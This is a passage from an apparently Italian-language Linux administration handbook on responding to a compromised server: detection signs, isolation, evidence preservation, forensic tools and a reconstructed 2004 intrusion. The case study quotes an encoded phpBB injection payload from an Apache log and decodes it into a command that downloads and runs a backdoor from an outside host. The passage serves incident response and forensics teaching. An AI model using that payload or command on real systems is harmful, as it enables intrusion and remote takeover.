14.7. Gestire una macchina compromessa
Nonostante le migliori intenzioni e per quanto attentamente sia stata progettata la politica di sicurezza, un amministratore prima o poi può trovarsi a fronteggiare un attacco. Questa sezione fornisce alcune linee guida su come reagire davanti a queste sfortunate circostanze.
14.7.1. Rilevare ed esaminare l'intrusione di un cracker
Il primo passo da intraprendere dopo aver subito un'intrusione è di essere consapevoli di tale atto. Questo non è evidente, soprattutto senza un'adeguata infrastruttura di monitoraggio.
Atti di cracking spesso non vengono rilevati finché non hanno conseguenze dirette sui servizi legittimi ospitati sulla macchina, come connessioni che rallentano, alcuni utenti che non riescono ad accedere o qualche altro tipo di malfunzionamento. Di fronte a questi problemi, l'amministratore ha bisogno di guardare per bene la macchina e analizzare attentamente cosa c'è che non va. È questo il momento in cui si scopre un processo insolito, per esempio, uno con nome apache invece di quello standard /usr/sbin/apache2. Se seguiamo questo esempio, la cosa da fare è annotarsi l'identificativo del processo, e controllare /proc/pid/exe per vedere qual è il programma che il processo sta attualmente eseguendo:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Un programma installato sotto /var/tmp/ che è in esecuzione come server web? Nessun dubbio, la macchina è compromessa.
Questo è solo un esempio, ma molti altri indizi possono far suonare il campanello d'allarme all'amministratore:
a command that suddenly shows errors like segmentation faults;
a program that utilizes all CPU cores or memory;
l'opzione di un comando che da tempo non funziona più; la versione del software che il comando dichiara che non corrisponde alla versione che si suppone sia installata secondo dpkg;
il prompt dei comandi o il messaggio di benvenuto della sessione che indica che l'ultima connessione proviene da un server sconosciuto o da un altro continente;
errori causati da partizioni /tmp/ che si riempiono, che si scopre essere piene zeppe di copie illegali di film;
e così via.
14.7.2. Mettere off-line il server
In tutti i casi tranne in quelli più esotici, l'intrusione arriva dalla rete, e l'autore dell'attacco ha bisogno di una connessione di rete attiva per raggiungere i suoi scopi (accedere a dati confidenziali, condividere file illegali, nascondere la sua identità usando la macchina come ripetitore e così via). Staccare il computer dalla rete impedirà a chi attacca di raggiungere questi obiettivi, se ancora non è riuscito a farlo.
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see
Sezione 14.7.3, «Mantenere tutto ciò che può essere usato come prova»,
Sezione 14.7.5, «Analisi forensi» and
Sezione 14.7.6, «Ricostruire lo scenario dell'intrusione»), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but
sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines. If possible, and if the provider supports it, the server can be put offline and accessed through the providers KVM/IPMI interface or their rescue console. If the affected machine is a virtual machine, a snapshot should be taken immediately to secure evidence.
14.7.3. Mantenere tutto ciò che può essere usato come prova
Individuare l'intrusione e/o iniziare azioni legali contro gli autori degli attacchi richiede il salvataggio di copie di tutti gli elementi importanti; questo include il contenuto dell'hard disk, la lista di tutti i processi in esecuzione e un elenco di tutte le connessioni aperte. Può essere utile allo scopo anche il contenuto della RAM, ma in pratica è raramente utilizzato.
Nel bel mezzo dell'azione, gli amministratori sono spesso tentati dall'effettuare maggiori controlli sulla macchina compromessa; di solito non è una buona idea. Ogni comando è potenzialmente contraffatto e può coprire alcune prove. I controlli dovrebbero essere limitati ad un inseme minimo (netstat -tupan per le connessioni di rete, ps auxf per un elenco dei processi, ls -alR /proc/[0-9]* per un qualche informazione in più sui programmi in esecuzione) ed ogni controllo effettuato potrebbe essere accuratamente registrato.
Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled. Most server providers offer a so-called rescue-console that essentially provides the same functionality as a rescue CD.
Non bisogna riportare online il server senza una reinstallazione completa. Se i danni procurati sono gravi (sono stati ottenuti i privilegi di amministrazione), non c'è modo di essere sicuri di essersi liberati da tutto ciò che l'autore dell'attacco può aver lasciato alle spalle (in particolare backdoor). Sicuramente, bisogna applicare tutti gli aggiornamenti di sicurezza per sanare la vulnerabilità utilizzata da chi ha fatto l'attacco. Idealmente, l'analisi dell'attacco porta a rilevare il modo in cui esso è avvenuto, così si può essere sicuri di risolverlo; altrimenti, si può solo sperare che la vulnerabilità sia una di quelle risolte dagli aggiornamenti.
Reinstallare un server remoto non è sempre facile; può richiedere il coinvolgimento dell'assistenza della compagnia di hosting, poiché non tutte le aziende offrono sistemi di reinstallazione automatizzati o console remote (anche se questi dovrebbero essere rari). Bisogna fare attenzione a non reinstallare la macchina da backup effettuati dopo la compromissione. Idealmente, bisogna ripristinare solo i dati, e reinstallare il software vero e proprio dal supporto di installazione.
Ora che il servizio è stato ripristinato, è tempo di fare un'analisi approfondita dell'immagine del disco del sistema compromesso per capire il vettore d'attacco. Quando viene montata l'immagine, bisogna fare attenzione ad usare le opzioni ro,nodev,noexec,noatime per evitare di cambiarne il contenuto (inclusi la data e l'ora di accesso ai file) oppure di lanciare per sbaglio programmi compromessi.
Ripercorrere lo scenario dell'attacco spesso richiede di ricercare tutto ciò che è stato modificato o eseguito:
I file .bash_history forniscono spesso una lettura molto interessante;
e lo stesso vale per l'elenco dei file che sono stati creati, modificati o a cui si è acceduto di recente;
il comando strings aiuta ad identificare programmi installati dall'autore dell'attacco, tramite l'estrazione delle stringhe di testo dai file binari;
spesso i file di log in /var/log/ permettono di ricostruire cronologicamente gli eventi;
comparing the system to the last known uncompromised backup can quickly reveal the changes left by the attacker, e.g. files added, changed, or deleted;
l'uso di strumenti specifici permette anche di ripristinare il contenuto di file potenzialmente eliminati, inclusi file di log che vengono spesso rimossi dagli autori degli attacchi.
Alcune di queste operazioni possono essere semplificate utilizzando software specializzato. In particolare, il pacchetto
sleuthkit fornisce molti strumenti per analizzare i filesystem. Il loro uso viene facilitato dell'interfaccia grafica
Autopsy Forensic Browser (nel pacchetto
autopsy). Alcune distribuzioni Linux hanno un'immagine "live install" e contengono molti programmi per l'analisi forense, come Kali Linux (vedere
Sezione A.8, «Kali Linux»), con la sua
forensic mode, BlackArchLinux e la commerciale Grml-Forensic, basata su Grml (vedere
Sezione A.6, «Grml»).
14.7.6. Ricostruire lo scenario dell'intrusione
Tutti gli elementi raccolti durante le analisi devono incastrarsi tra loro come i pezzi di un puzzle; la creazione dei primi file sospetti è spesso confermata dai log che provano l'intrusione. Un esempio reale è molto più esplicativo di lunghe divagazioni teoriche.
Il seguente log sono un estratto dall'access.log di Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Questo esempio corrisponde allo sfruttamento di una vecchia vulnerabilità di phpBB.
La decodifica questo lungo URL porta a capire che l'autore dell'attacco è riuscito a eseguire del codice PHP, ossia: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Infatti, un file bd è stato trovato in /tmp/. Lanciando strings /mnt/tmp/bd si ottiene, oltre ad altre stringhe, PsychoPhobia Backdoor is starting.... Sembra proprio una backdoor.
Qualche tempo dopo, questo accesso è stato usato per scaricare, installare ed eseguire un bot IRC che si è connesso ad una rete IRC segreta. Il bot poteva poi essere controllato attraverso questo protocollo e istruito per scaricare file da condividere. Questo programma ha addirittura un proprio file di log:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Queste informazioni tracciate mostrano che sul server sono stati salvati due file video attraverso l'indirizzo IP 82.50.72.202.
In parallelo, l'autore dell'attacco ha inoltre scaricato un paio di file aggiuntivi, /tmp/pt e /tmp/loginx. Passando questi file in strings si ottengono stringhe tipo Shellcode placed at 0x%08lx e Now wait for suid shell.... Questi sembrano programmi che sfruttano vulnerabilità locali per ottenere i privilegi di amministratore. Hanno raggiunto il loro scopo? In questo caso, probabilmente no, dato che nessun file sembra essere stato modificato dopo l'intrusione iniziale.
In questo esempio, è stata ricostruita l'intera intrusione, e si può dedurre che l'autore dell'attacco è riuscito a sfruttare il sistema compromesso per circa tre giorni; ma l'elemento più importante nell'analisi è che la vulnerabilità è stata identificata, e l'amministratore può stare tranquillo che la nuova installazione ripara realmente la vulnerabilità.
